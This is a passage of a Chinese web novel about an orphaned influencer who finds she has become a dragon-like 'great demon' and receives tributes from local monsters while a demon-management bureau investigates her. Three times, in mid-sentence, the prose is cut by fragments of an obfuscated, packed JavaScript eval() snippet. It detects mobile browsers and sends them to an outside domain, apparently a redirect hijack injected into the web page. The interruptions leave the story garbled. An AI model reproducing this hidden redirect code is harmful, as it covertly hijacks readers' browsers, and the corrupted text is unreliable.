红毛反问：“那现在大妖把没把手机扔回来，是不是说明大妖她口是心非？” “你tmd不要命了！胡说八道些什么呢！”黄毛又是一巴掌拍在了他的脑门上，“那可是大妖，你以为是拍偶像剧呢，还tmd口是心非！人家大妖随便开开口就能有一堆小妖怪给她买上千八百个旗舰手机，用得着跟咱在这儿口是心非！？” 红毛被拍得脑袋都有些晕乎了，眼冒金星地点头：“好、好像是哦……那为什么大妖没把咱们的手机给扔回来？” 黄毛一脸的严肃认真：“可能……大妖确实是不打算收什么供奉，但如果她都已经说明了不会管我们，我们还要送的话……能直接白嫖的东西，你会拒绝吗？” 红毛摇头：“不会！有便宜不占白不占！” “那不就成了。” “那我知道了，你是想说大妖想占便宜。” “啪！”又是一下拍在了他的脑门上。 “你可他妈闭嘴吧！” 路上，行人们看着他们这副宛若暴力欺凌的场面都是纷纷蹙起了眉。 牵着孙子的老人对自家的小孩子教育道：“可不要学这种，听到没有？” 小孩认真地点头：“放心吧奶奶，我不会这样的。老师说，欺负别人是不对的。” 凭借妖怪出众的听力将这段对话听了个完完整整的两妖：“……” ── 画面回切到游书姝这边，在吃完早餐后，她决定看一下自己那个门把手怎么样了。 从猫眼上确定了走廊里没有人后，她这才推开了门。 于是就发现了挂在歪曲的门把手上的黑色塑料袋，往里看了一下，发现那五个崭新的手机都在里面呢。 游书姝：“……” 怎么这年头……上供奉还带强买强卖的吗？ 怎么回事啊…… 她无奈苦笑，不知道该怎么解决这烫手的“山芋”。 又不知道人家住哪，连退货都不知道能往哪儿退。 总不能让这5个手机就这么在门上挂着，加起来总价的有几万了。游书姝只能将东西给先拿了进来。 此时的游书姝还不知道……这只是个开始。 半个多小时后，又有妖怪找上门来了，还是来上供奉的。 游书姝感到纳闷：“那个书精和石大夫没把我说的话带给你们吗？” 对方恭恭敬敬地回答：“回大人，他们在群里说过了。只是……只是小的觉得，如大人这般的大妖怪，我等怎可不敬？” 其实红毛和黄毛确实把话给带到了，但妖怪们还是心里没底。 说白了就是怕。 就像是那种在有帮派的地区开店的店主，明知道这个地方有帮派，觉得对方肯定会来收你的保护费，但对方却没来，那你难免会觉得忐忑。 这种情况下就算是游书姝这个“帮派老大”说我不会对你们做什么，他们也很难安心，想着对方不收保护费，是不是想对他们做点啥。 所以这个妖怪还是来了。 游书姝觉得更头疼了，心中寻思着这些妖怪怎么比她还像是孤儿？一个个这么缺乏安全感的吗？ 她不知道的是……弱肉强食还有可能会被人类除妖师给盯上的妖怪们，有些时候生活环境比孤儿可能还要更恶劣一些。 游书姝这次自然是又拒绝了的，但是……没用。 不知道为什么，妖怪们总是能想到法子把东西给偷偷摸摸留下来。 她在门口贴了个条子，不准在门口放东西。妖怪们就放在门边上。 她又换了个条子，不准在走廊里放东西。也不知道是哪个机灵妖先想到的，绕过她家，把东西放到了她的阳台上。 等她发现的时候，妖早就走了。留游书姝一个人面对那一堆乱七八糟的供奉，只觉得头更疼了。 顺带一提，上门来的妖怪们还真是千奇百怪，什么身份的都有。 游书姝有看到打扮得花枝招展的漂亮美人，有几分眼熟，好像也是个网红，等对方走了以后她去搜索了一下，发现对方的粉丝量是她的三倍还多。 还有职业OL打扮的人，好像是趁着午间休息的时候过来的。 也有看到西装革履显然是人上人打扮的大佬，对方甚至想把这栋楼买下来送给她。 最后自然是被游书姝给拒绝了的，对方最后留下了一串车钥匙。 不是一把，一串！ 她到网上搜了一下，那个价格……随便一辆都是把她卖了都买不起的那种，而现在，她只要拿着钥匙到云杏寺去，那一串的车随便她开。 有那么一瞬间，游书姝不得不承认──她心动了，甚至有点想自我堕落。 当什么网红？当大妖这不赚多了，什么都不用做就有妖怪来给你送东西。 但游书姝还是没有动那些供奉，只是找了个地方将它们收了起来，还记录好了每一份是什么妖怪送来的。 大多数妖怪都没有名字，更别提姓氏了，上门时报的一般是街道+自己的品种，感觉换作影视剧里，就是某某山某某洞某某妖了。 期间，游书姝也给陆扶光发了消息去询问他那边是否有打听到什么有用的消息，但并没有得到回复。 或许是正忙着吧，她心想。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805733|158499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她又打开了妖妖灵的论坛，接着尝试去学习各种妖术。 然而这一天直到晚上，游书姝都没有收到陆扶光的任何回信，她不免有些担心了起来。 他是个手机不离身的人，平日里除非正在干活，否则基本上都是秒回消息的。像这种一整天都没回消息的情况，游书姝还是第一次遇上。 这家伙……该不会出什么事了吧？ 她尝试着给陆扶光打了个电话，结果消息提示说对方不在服务区内。 不在服务区？ 他这是跑到深山老林里去了吗？ 没听说过他最近有什么要跑到连信号都不覆盖的地方去录节目啊。 游移不定之下，她联系了陆扶光的经纪人。 她和陆扶光常有来往，和他的经纪人之间也算认识。 对方倒是很快就接通了电话，但在听了游书姝的询问后也是表示不太清楚。 “没有啥节目啊，他昨天着急忙慌地来找我请了假，说要回老家一趟。” “他是说自己回老家了吗？”游书姝重复道。 “他是这么和我说的，咋了？这小子该不会是说着有急事要回家，实际上是偷偷背着我去干什么坏事儿了吧？” “没有，只是我今天联系不上他，他手机不在服务区内，所以我有些担心。” “哦，这个啊。那多半是他老家那边没信号吧，我记得他以前就说他老家是山里的。” “嗯，我也是这么记着的，那可能是真的老家那边没什么信号吧。” 话是这么说，但游书姝心里还是有些担心。主要是因为陆扶光这次是因为她现在的情况去打听消息，牵扯到妖怪，就很难让人安下心来。 此外……陆扶光虽然确实有说过他家里有人和这方面有些关联，但对方具体做什么的游书姝也不清楚。 她攥紧了胸前的护身符，只期望既然陆扶光能找来这个护身符，甚至还说要给她寄些别的东西过来，那他自己应该也有能保障自身安全的东西吧。 ── 晚上，临睡前，游书姝想起了昨天在她家门口站了近一宿的黄毛和红毛，于是在门口贴了个纸条：［晚上11:30至早上8:00期间不接受拜访，有事白天来。］ 然后她就去睡了。 在她睡去没多久，0点左右，她家门口又来了妖怪。 到了后，看到门口的纸条，妖怪又拿着东西离开了。 过了一会儿，他又折了回来，打开手机夜光灯，对着那张纸条拍了张照，再次离开。 这张纸条如同白天时游书姝贴在门口的那两张［禁止在门口放东西］、［禁止在走廊里放东西］一样，一个群转10个群，很快大家就都知道了。 第二天早上，游书姝很高兴自己醒来后没再在门口发现帮自己守大门的妖怪，但自己脸上的妖怪妆容那是一点没变。 她不由苦笑：“真要是有什么化妆品牌能做出这种定妆效果，恐怕是会被买爆。” 午间时候，她收到了陆扶光寄来的快递。 还是和之前点外卖时一样，她让快递小哥把东西给她放在了门口，等到人走了以后，才把东西给拿了进来。 里面放了不少东西，大多是一些诸如吊坠、钥匙扣、胸针的便携饰品，一些东西甚至是游书姝之前见陆扶光带过的。个别是冰箱贴、床头摆件、小夜灯这种家居类物品。 可能是担心她不会用，陆扶光还给每个都写了下使用说明，里面有攻击型的，也有防御型的。 然而东西是收到了，陆扶光那边却是依旧没有回消息，游书姝觉得心中更加不安了。 小光他……不会真的出了什么事吧？ 8. 第8章 游书姝再次尝试着联系了陆扶光的经纪人尤姐，询问对方是否知晓陆扶光家里人的联系方式。然而可惜的是……对方也没有。 游书姝对此也并不算太过意外吧。 陆扶光也是父母双亡，虽说他名义上的监护人是他妈妈的妹妹，但他那个小姨也没怎么亲自管他，只是安排了人来照顾他。 至于他父亲那一方的人，基本就跟神隐了似的，从来没有听说过。 自己的艺人不见了，尤姐也有些着急了。偏偏她和游书姝两个人加起来也想不出什么法子来。 就在两个人已经在考虑要不要报警的时候，游书姝接到了陆扶光打来的语音通信。 游书姝见到陆扶光的名字时，这才是勉强松了一口气。她接通了语言，陆扶光一如既往的欢快声音从对面传来：“喂，姝姐我帮你问到了！” 游书姝摁了摁眉心，打断道：“这个等会儿再说，你能不能先和我解释一下你断联了两天这件事情是怎么回事？你知不知道我和尤姐差点都想报警了。” “啊？我不是有给你们发消息说我老家这边信号不好可能会断联几天吗？”陆扶光听语气有些懵。 游书姝语气平淡：“你没有。” “不会啊，我发了的！”陆扶光却是很笃定，“你等我给你截个图。” 然后过了一会儿，对面安静了。 陆扶光尴尬地笑笑：“对不起，姝姐，信号太差了消息没发出去……我没仔细确认，我已经已经发出去了的。” 游书姝：“……” 怎么说呢，倒也不是很意外了。 她无奈扶额：“你等会儿记得给尤姐也回个消息，她都急得团团转了。” 自知做错了事的陆扶光乖乖应下：“哦，好。” “行了，你接着说吧，你都打听到啥了？” 陆扶光顿时又来了精神：“姝姐，我问到了，你这种应该是中了类似画皮鬼或者骨女这种妖怪的妖术。至于其他妖怪为什么会感知到你的存在，应该是妖术中泄露出来的妖气被其他妖怪给感知到了吧。” “他们说像这种变形术一般而言都是有时效性的，没有持续的妖力供应的话，就算放着不管，等过上一段时间妖术失效了，也就能恢复了。” “不过我想姝姐你那个情况怕是不好等太长时间，最好还是能快点解决，所以也帮你问了一下能迅速解决的方法。” “有一个帕帕帕变回原形，只要用那个就可以变回原形了。” 游书姝：“……” “你把你刚刚说的最后那句话再重复一遍？” “哦，就是帕帕帕变回原形，你只要用那个就可以变回原形了。你不要觉得是我故意在搞怪啊，主要是那手帕的名字就叫帕帕帕变回原形。”陆扶光还担心她误会，特地解释了一番。 说完他自己也有些挠头：“我也不知道为啥会有这么个奇奇怪怪的名字，听上去就不是很靠谱的样子。但妖怪这边的东西好像名字都是这么奇奇怪怪的。” 游书姝倒是没误会。早在落秋说那个灵芝的名字叫一点就亮芝芝的时候，她就已经知道事情可能有哪里不对了。 她没太在意这个手帕的名字，只是微蹙着眉说出了一点她觉得有些不太对的地方：“你刚刚说……我中的大概是一种变形术，是指只能改变人外貌的那种吗？” “嗯对。” “那……这种变形术能让人使用妖术吗？” “啊？” “就是……我现在好像能使用妖术。而且，那个妖气应该也不是妖术上残留的别人的妖气，而是我自己的，我现在已经能把它收敛起来了，还能拿来端盘子。” 陆扶光默。 游书姝默。 “姝姐，你再等等，我折回去再问问……” 游书姝：“……好，麻烦你了。记得跟你尤姐说一声。” “好嘞。” 语音挂断后，又是新一轮的等待。这一次，陆扶光又是消失了两天，期间游书姝又收了不少的供奉，也是实实在在地让她感受了一下这附近的妖口数量。 为了保命，她在制作自己视频后期的时候，也没放下过对妖术的学习。 她也不求能和妖怪们打个有来有回，只求万一有朝一日事发了，自己能够跑得掉。 为此，她将自己原本做的日程全都给推了，重新进行拟定。 对一个总是喜欢做规划并真的会按着规划去过日子的j人而言，这无疑已经显示出了她对这件事的重视。 其实如果不是因为没钱，她可能会把做视频这件事都给往后放一放的。 几日的勤奋练习下来，游书姝发现……她大抵是在这方面有些天赋的。 妖妖灵里那些教学类的帖子下面往往会有妖怪网友们回的帖子，说自己大概多久学会了，也有说自己学废了的。有时候楼主也会说大概多久能够掌握。 排除掉一些大概是练功练得妖都有些精神不正常了的，说自己打娘胎就会，［这么简单，不是看一眼就会了吗？］，［怎么会有笨蛋连这种简单的妖术都学不会的呀？］，然后后面跟个戴墨镜的表情，遮挡自己满是泪水的眼睛。 果然不管是人类还是妖怪，大家都是在同一个互联网上冲浪的。 总之，游书姝大概总结了一下，其他妖怪口中好几个星期甚至是一两个月才能掌握的妖法，她却真的能很快就能掌握其诀窍。 麻烦一点的一两个小时，简单点的试个两三次就差不多了。 游书姝自小就没有觉得自己在哪方面特别的有天赋，也有可能是孤儿院的出身让她没有机会去尝试解锁自己可能存在的天赋。但就目前来说……游书姝觉得，自己好像挺有做妖怪的天赋。 这话听上去多少有几分滑稽，她一个人，拥有做妖怪的天赋，那也太奇怪了。但现实又确实如此，让游书姝想吐槽都不知道该从何处吐槽。 终于，在第二天的晚上，游书姝终于又收到了来自陆扶光的联络。 他的语气同上次一样亢奋：“姝姐！我问到了！呼──你都不知道我这两天有多气，他们说人类是不可能会变成妖怪的，更不可能使用妖术。除非是具有人形外表的半妖。” “但半妖身上也是有妖气存在的，再怎么藏也不可能完全藏得住，而且半妖天生体质就会超出寻常人类，不可能完全意识不到自己和身边其他人的区别。所以他们都说我是被人给骗了。” 陆扶光语气间满是愤愤：“怎么可能！我姝姐怎么可能是那种人！而且你那体质什么样我还不知道吗？我又不是没长脑子！” “反正我跟他们说这事儿就是真的，结果他们反倒说我被人骗得不轻，气死我了！” 游书姝光是听着他说就能想象到对方脸红脖子粗地去和人理论的场面，不由莞尔：“好了，这么生气做什么？到时候又被人抓了把柄发到网上去说你脾气暴躁，看到时候尤姐训不训你吧。” 陆扶光：“。” “这种妖怪相关的事，官方才不会让人流传到网上呢。”他嘀咕道。 游书姝噗嗤一笑：“你就仗着这个？” “当然了，不然你以为我没脑子啊？小爷我早就想好了。” 游书姝哭笑不得：“行吧，你聪明。那之后呢，你问出啥来了？” “反正后面我就坚持自己没有被骗呗，就有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805734|158499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人说这种事情倒也不是完全没有可能发生。说是也有半妖体内的妖怪血脉已经非常稀薄了，可能会完全不知道自己体内有妖怪的血脉。这种情况下，如果体内的妖怪血脉因为一些意外被唤醒的话，可能就会显露出属于妖怪的那一部分特征。” 游书姝眉眼微沉，觉得陆扶光说的这种可能性似乎确实是挺符合自己现在这种情况的。 “以及姝姐，还有个情况。半妖不管是在人类这边，还是在妖怪这边，都不怎么招人喜欢的。”陆扶光忍不住提醒了她一句，语气中满是担心。 “虽然我是不会因为这个对你有什么特别的看法啦。但是……你如果真的是这样的话，最好还是不要让其他人和妖怪知道吧。” 陆扶光甚至还给了游书姝一个建议：“我没记错的话你现在是变成龙女了吧？龙女其实早就已经在千年前灭绝了，现在的妖怪里是没有龙女的，所以你说自己是龙女应该也没谁能认出来你是假的吧？” 游书姝觉得他的这个建议不怎么样。 龙女……那可是传说中带神了神龙血脉的妖怪，虽然她不知道历史上的龙女应该是几姓的，但她估摸着……那得是三字姓的大妖王。 她现在随口把自己弄成了别人眼中的小妖王就已经觉得自己很不要命了，再去装一个纯血龙女……她觉得自己都可以交代后事了。 她无奈叹了口气：“好，我知道了。辛苦你了，我自己会多注意小心的。” 挂断通话后，游书姝又去妖妖灵上搜了搜半妖，发现事情和陆扶光说的其实还有些出入。 半妖受不受人类待见不好说，但在妖怪这边好像没有特殊歧视。 倒不如说……妖怪这边就是谁强谁有理，谁弱谁受欺负，跟你是不是半妖没啥关系。只不过大概是因为半妖的妖力要远不如纯种妖怪，所以一般都是受欺负的那个。 半妖吗？ 游书姝不知道自己究竟是不是。 作为一个孤儿的缺点就在这里了，你根本没有办法确认自己的身世和血脉。 游书姝是被人偷摸送到孤儿院的，孤儿院的人甚至都不知道是谁把她送来的，发现的时候就是她一个孩子已经被放在院长妈妈办公室的桌上了。 这种家长不想要孩子，所以偷偷摸摸把孩子给扔到孤儿院的情况并不罕见。在和警方进行了报案，并且警方也没有调查出什么结果的情况下，游书姝就这样被留在了孤儿院里。 没有人知道她的来历，她的名字也是院长妈妈给取的，随了院长妈妈的姓。 至于别的，游书姝也不知道了。 时间也不早了，游书姝打算等明天起来了再打个电话回去问问看，有没有什么其他值得注意的地方。 话虽如此，她自己也没有抱太大的希望。 然而，就在游书姝也以为自己多半就是个半妖的时候，第二天一觉醒来的她，在枕头边摸索手机的时候，摸到了自己掉下来的龙角。 她惊讶地往自己额头上、脸上摸了摸──龙角和鳞片都掉了。 她的妆……可以卸了。 此外，她身上的妖气也完全消失了，她甚至尝试着对洗手池里的水施展了一下自己前两天刚学会的驭水法术。 妖术也无法使用了。 她好像……又变回人类了。 游书姝愣了好一会儿，把手机摸了出来，给陆扶光又打了个电话。 电话那头的陆扶光听声音就还没睡醒：“喂？姝姐，一大早的，咋了？” “小光，我跟你说个事……” “啥，你说。” “我好像……又变回人了。” 陆扶光：“……哈？” 9. 第9章 听游书姝说完她这边的情况后，陆扶光沉默了。 游书姝也沉默了。 说实话，这种事情如果她不是当事人的话，她多半也会觉得对面的人是不是在耍自己。 还好陆扶光对游书姝很熟悉，知道她是个从不开玩笑的性格。 可眼下这情况他也着实是不会了，憋了许久，他也只憋出来一句：“那姝姐……你再等等，我再回去问一问。” 游书姝都有些不好意思了。要知道，陆扶光可是个行程很满的当红小鲜肉。眼下为了她的事，已经消失了有三四天了，而且对方之前还在剧组里，显然是请了假出来的。 “不急，你那边事情应该不少，尤姐这两天都是在用你之前的照片营业吧？你先回去处理你的事情好了，等过几天有空了再去帮我问一下。” 陆扶光当然也知道他就这么从剧组里请假出来很不好，传出去容易被说他耍大牌啥的。 “可姝姐，你这……” 游书姝温声细语地回道：“我这边没事，左右现在都已经恢复了，你之前给我寄过来的那些东西我也都收到了，不会出事儿的。” 陆扶光还是有些不放心，这人都能莫名其妙地在妖怪和人类之间来回切换了，怎么让人放心呢？ 然而游书姝的语气虽柔，态度却不容置喙：“听我的。我也不是无缘无故就这么说，你上一次帮我打听情况的时候不是就被怀疑被人骗了吗？现在情况更复杂了，就算你再回去问，可能也问不出什么结果来。” “我等会儿打算打个电话到孤儿院那边去，试试看能不能从院长妈妈那里问到一些什么有用的消息。就算你这边想帮忙打听消息，也等我这边再多确定一些情报吧。” 她说的不无道理，陆扶光最后还是乖乖同意了：“那行，那姝姐你自己多小心些，要是有什么特殊情况的话，一定要记得和我说啊！” “好，放心吧。” ── 同一时间，另一头…… 庄严肃穆的办公大楼内，聚在一起的众人神情都算不上轻松。 这里是特殊协调管理局在瑶京的分部，当然，在知情人士的眼中，它的名字其实是叫──妖怪协调管理局。俗称，妖管局。 而聚在这里的就是负责管理瑶京市银湖区的402小队成员。他们在这里等一个人──他们前些天去省部开会的队长。对方刚刚已经发了消息说自己快到了。 没多久，腰佩唐刀的飒爽女人从办公室门口推门而入。 一群人纷纷起身。 “队长！” “队长，你可算是回来了！” 石瑚大刀阔斧地坐到主位上：“行了，坐吧，说说情况。天南街道那边怎么了？” “队长，天南街道那边，来了只大妖。” “嗯？”石瑚眉毛一皱，“什么妖？级别是什么？？” 她一问出口，下属们的脸色纷纷都有些惭愧。 “队长……这些都不清楚。对方只是放出了妖气，但是并没有露面。” “和我们有来往的妖怪当中没有知道的吗？” “没有，说是去给对方上供奉的时候都只是在门外把供奉留下就走了，压根见不到对方，连妖名是什么都不知道。不过好像有传出来说对方是二字的姓，我们现在初拟为王侯级。” “王侯级？”这三字一出，石瑚的神情立刻变得凝重了起来。 和妖怪们以姓名来区分实力不同，人类这边有另一套划分。 按妖怪那边，一般就是简单地划分成三字姓、二字姓、单字姓、有名无姓、无名无姓五个级别。 但实际上不同妖怪之间种类不同，特性不同。有的妖怪天生擅长战斗，有的则天生擅长搞搞艺术啥的。这就导致有些妖怪明明是二字姓的小妖王，但不擅长打架，所以被低一级的单字姓给压制得死死的。 因此，人类方根据妖怪们的实际战斗能力和战略能力，对他们进行了新的划分。 自上而下分别是天级、王侯级、公卿级、士级，士级之下统称为普通。 很好区分，天级意味着以对方的实力完全可以自己建立一个帝国；王侯级意味着可以割地称王；公卿级意味着对方可以在前面两个等级的麾下得到重用，统领一方；士级则代表着对方有能力在公卿级手下做个小头领一样管管下面的小妖怪们。 不过一般而言，级别高的妖怪即便再怎么不擅长战斗，也不会弱到打不过被低自己好几个等级的妖怪。所以一般而言也就是会被上下挪动一个档次而已。 像他们现在所说的二字姓，在不确定对方实际实力的情况下，会被初步判定为王侯级，但对方的实际威胁度可能会是更高一级的天级，或是稍逊一级的公卿级。 当然，这个评级也适用于他们人类自己，虽然各家不同的修行体系有自己各自的等级划分方式，但官方上统一都是按这个标准来判定的。 石瑚也没有想到，自己只不过是到省部那边去开了个会，管辖范围内就突然冒出来一只至少是公卿级别的大妖。 要知道，她自己也不过是士级而已。 倒是也难怪她人还在省部，队里的成员们就一个个着急忙慌地和她打报告了。 “知道是从哪儿来的吗？”石瑚问道。 下属摇了摇头：“不确定，我们查到了地址和租下那间公寓的人，也查到了对方的档案资料，但是从对方以往的经历来看，不像是妖怪。不确定之前是她的伪装还是说……” 还是说对方已经被妖怪给杀害了，现在是被鸠占鹊巢了。 这人的话没有说完，但在场的都不是第一次和妖怪打交道了，都听出了他的未尽之语。 石瑚的脸色也不是很好看。 妖怪当中有安守本分好好过日子的，自然也有生性残暴手染鲜血的。如果这个大妖是对那个人动了手，那从今往后他们队的管辖范围内可就不太平了。 “有打听到这个大妖的性格怎么样吗？”石瑚拧着眉又问了一句。 “据说对妖怪是比较友善的，我们从好几个妖怪那里都打听到，对方从到咱们这儿起没对哪个小妖怪下过手，甚至还提出了不要供奉，并且表明自己不会管周边这些妖怪的事。” 然而对妖怪友善不代表会对人类友善，虽说现在人类和妖怪之间尽量达成一种相对微妙的平衡，但人类当中存在有主张对妖怪赶尽杀绝的敌对派，妖怪当中也存在有对人类满怀恶意的。 “有去云杏寺那边打听过情况吗？”石瑚又问。 “还没有，队长。你不在，我们谁过去都有些不太好。” 所谓的王对王、将对将，云杏寺那边可是有两个士级的妖怪，他们队里也只有石瑚队长是到了士级的，除了她别人去都不太合适。 石瑚手下敲击着桌面，开口道：“那就备车，去云杏寺拜访一下吧。对了，你们刚刚说的那个人的资料，给我一份。” “好。” 早就被整理好的资料被递到石瑚手中，只见那资料最上方，赫然便是游书姝的照片。 ── 画面回转到游书姝这里。在挂断了和陆扶光的通话后，游书姝再一次确认了自己身上各处的情况，确实是没有半点妖怪的感觉了。 奇怪，为什么？ 她到卫生间卸掉了自己脸上带了好些天的妆。对着镜子时，她笑得还有几分无奈。 这要是真这么带上好几天的妆，没憋出痘来可真是难得。也不知道究竟是什么个原理。 晚些时候，游书姝拨通了院长妈妈的电话，打算问问她自己以前的事情。 “喂？院长妈妈，是我，姝姝。” 游书姝并没有一上来就直入主题，而是先和院长妈妈说了下自己最近的情况，也问了问院长妈妈最近孤儿院里的情况。 聊了好一会儿，她才开口提起了自己今日的目的：“院长妈妈，我还有一件事情想问问你。” “什么事？你说。” “院长妈妈，你看我现在也长大了，也有能力照顾好自己了，我想试一试，看看能不能找到我的父母。当年我被送到孤儿院时候的事儿，您能再和我说一说吗？” 院长妈妈听到她这么说，也是顿了顿，随后缓缓地叹了一口气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805735|158499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孤儿院里出来的孩子，确实会有一些会对自己原先可能拥有的家庭存在一丝遐想，这样的问题院长妈妈也不是第一次听到了。 只是……关于游书姝的来历，他们确实也没有什么线索。 听到这个回答，游书姝倒是也不意外。这些事情她也早就知道了。 只是如今这个情况，她依旧是忍不住想多问上一句：“那……当时我的身上就没有什么特殊的东西吗？” 哪怕是襁褓啥的，或许也能多少提供一些线索吧？ “没有，当时你浑身上下就被一块白色的棉布给裹着，那棉布的质感倒是还蛮不错的，加上你小时候就长得很白净漂亮，身上也没病没灾的，我们当时还怀疑过你会不会是被人从有钱人家里拐出来的孩子。” “只是警察那边也调查过了，没人来报案。后面寻亲的启示也发了，也没见人来寻。” 游书姝忍不住多问了一句：“那棉布还留着吗？” “还在呢，我就是想着这些或许能留着做个念想，所以都给你们留着呢。你如果想要的话，把你现在的地址给我，我改明儿给你找出来寄过去。” “那麻烦院长妈妈你了。” “这有什么好麻烦的。”说罢，大概是怕游书姝没能了解到关于自己父母相关的消息而感到失望，院长妈妈还安慰了她几句。 游书姝面上微微含笑：“好，我知道了，谢谢院长妈妈。我也只是想到了，所以想看看有没有机会去找一找罢了。如果真的是没什么线索的话，可能就是没什么缘分吧。” “你能想得开就好，我们这儿就是你的家，院里的那些小朋友们，平日里可爱刷你的视频看了，小珠她们之前还说等你回来了，要让你教她们化妆呢。你要是什么时候想家了，随时都可以回来。” 游书姝眉眼的弧度越发温软：“好，我有空会回去的。” 挂断电话，游书姝不由又是温和一笑。 她其实并没有对父母家庭什么的有念想，她一直觉得孤儿院就是她的家，那里的大家都很好。方才那么说，也只是想找个合理的理由向院长妈妈打听一下自己的过去罢了。 眼下看来……却是好像也没什么特别之处。 “唉……”游书姝不免叹了一口气，“果然没那么简单。” 她看了看今天的日程，原本早上是打算接着练习妖术的，但现在这个情况……显然计划是又一次泡汤了。游书姝只能再一次调整了计划，把拖了好些天的视频给剪辑好，发给了甲方爸爸一份。 如果没什么需要修改的地方，那她今晚应该就能把视频给发出去了。正好是周五，流量应该还不错。 这么想着，游书姝看了看窗外。 今日的天气倒是难得的好。 出去散散步吧，前些日子一直憋在屋里不能出门，正好也出去透透气。 就要出门，她想了想，在门上留了个便签，上写：［有事外出。］ 这样应该就不会有妖怪在门口站着等了吧？ ── 说是散步，游书姝其实还顺便买了点水果蔬菜。并非故意，但走着走着却是刚巧路过了云杏寺。 这里和她住的地方离得本来就近，会路过倒是也不奇怪，不过想起那天妖怪们在这里举办祭典，游书姝现在已经很难用寻常心态去看待这座古寺了。 寺庙的院墙往上，她还能看见那高高耸立的银杏树。翠绿的树叶在风中微微颤动着，生机勃勃。 游书姝脑中又想起那日门前身穿旗袍的婉约女妖。 正想着，一辆车停到了路旁。这里本就是街道上，车来车往很正常，游书姝本来是没有注意到那边的。但是她看见车上走下来一个英气逼人的女人。 她竖着高高的马尾，凌厉的眉眼气势非凡，一身干净利落的衣着显得她气场十足。 游书姝忍不住看了对方两眼，谁料对方下一秒也朝她看了过来。 四目相对一刹那，偷偷看人却被抓了包的游书姝倒是也没有尴尬，弯了弯眉眼对着对方露出一个温和友善的笑容来。 对面的石瑚却是瞳孔微微一颤：怎么是她？ 10.第10章 石瑚在来的路上就已经查看了游书姝的资料，对这个目前暂且不确定是不是大妖本妖的年轻女性，正处于一种猜测诸多的情况。 这一趟，本来只是为了向云杏寺的妖怪了解一下情况的，然而石瑚万万没有想到，自己竟然会在云杏寺的门口遇上游书姝。 有种自己还没有了解完boss设定就已经被boss给遇上了的感觉，怎么能让人不心惊？ 尤其是……对面的这个大boss还对你露出了一个温和淡然的微笑。 可石瑚压根感受不到对方身上有半点妖气存在，这让她越发心惊。因为……感受不到妖气并不意味着对方就是人类，也有可能是对方本身比较特殊，相比其他妖怪能更好的隐藏起自己的气息。 当然，还有一种可能——对方的实力已经高到了一定的境界，是以能够将自己完全地隐藏成人类。 若是平日里遇上这样的妖怪，石瑚肯定会觉得对方是比较特殊的那一类。毕竟大妖实属罕见，也并不是所有大妖都能做到将自己身上的妖气完全隐藏的。 可眼下早就知道了对方是二字姓的小妖王，石瑚现在的第一反应就是——对方很强，强到能隐藏起自己的妖气。 石瑚下意识已经将浑身气血都给调动了起来，面对未知强者的压力让她神经紧绷。 然而游书姝却并不知道自己给石瑚带来了怎样的惊吓。在她眼中，她就是很寻常地在路上与别人对视了一下而已，收回目光后就循着原路回去了。 只是因为心中还想着云杏寺里的落秋，所以在路过云杏寺门口的时候，游书姝忍不住又多看了两眼寺内高高的银杏树。 石瑚原本还在想她为什么会在这里，她想做什么。此刻见到游书姝就这般直接离开了，不由愣了愣。 “队长，你怎么了？”开车的队员见自家队长下车后门也不关地呆站在那里，几年的配合早就让他们彼此熟悉，他也注意到了石瑚严阵以待的态度，立刻紧张地跟着问了一句，“有什么情况吗？” “没事。”石瑚回过神来，收回视线，眸中神色凝重，心中早已百转千回。 她并不觉得在这里遇上游书姝会是一个意外，那……对方是知道了她要来，所以才特地到这儿来的？ 目的呢？ 虽然游书姝笑得十分友好，那个笑容在石瑚看来却是神秘莫测。 对方似乎在说……我知道你，我知道你来这里的目的，你所做的一切都在我的掌控之中。 这种压迫感可要比下属们汇报上来的双字姓、王侯级什么的切实多了、也更令人生畏。 石瑚好歹也是负责一个片区的小队队长，她倒是不至于感到畏惧瑟缩，她感受到的是威胁。 她很清楚的意识到一件事，不管这位大妖的实力究竟如何，她的智谋必然是不差的，尤其是……掌控全局的能力。 怕只怕对方来者不善，否则事情就糟了。 她关上车门，径直走向了云杏寺内。 既然已经被大妖所知晓了，那无论如何这一趟也不能白来。且看看落秋这边能否打听到什么吧。 —— 进了云杏寺，七拐八拐一通后，石瑚来到了寺内的非遗传承展示厅。在那里，身穿倒大袖旗袍的落秋正雕着叶子。 没错，这就是落秋如今在人类社会的身份，非遗叶雕的传承人。 白日里，她的模样自然不会像是那日游书姝所见到的那般妖异，此刻看上去就是个长得格外好看了些的人类女性，裸妆淡颜，头发随意地扎着，素净又典雅。 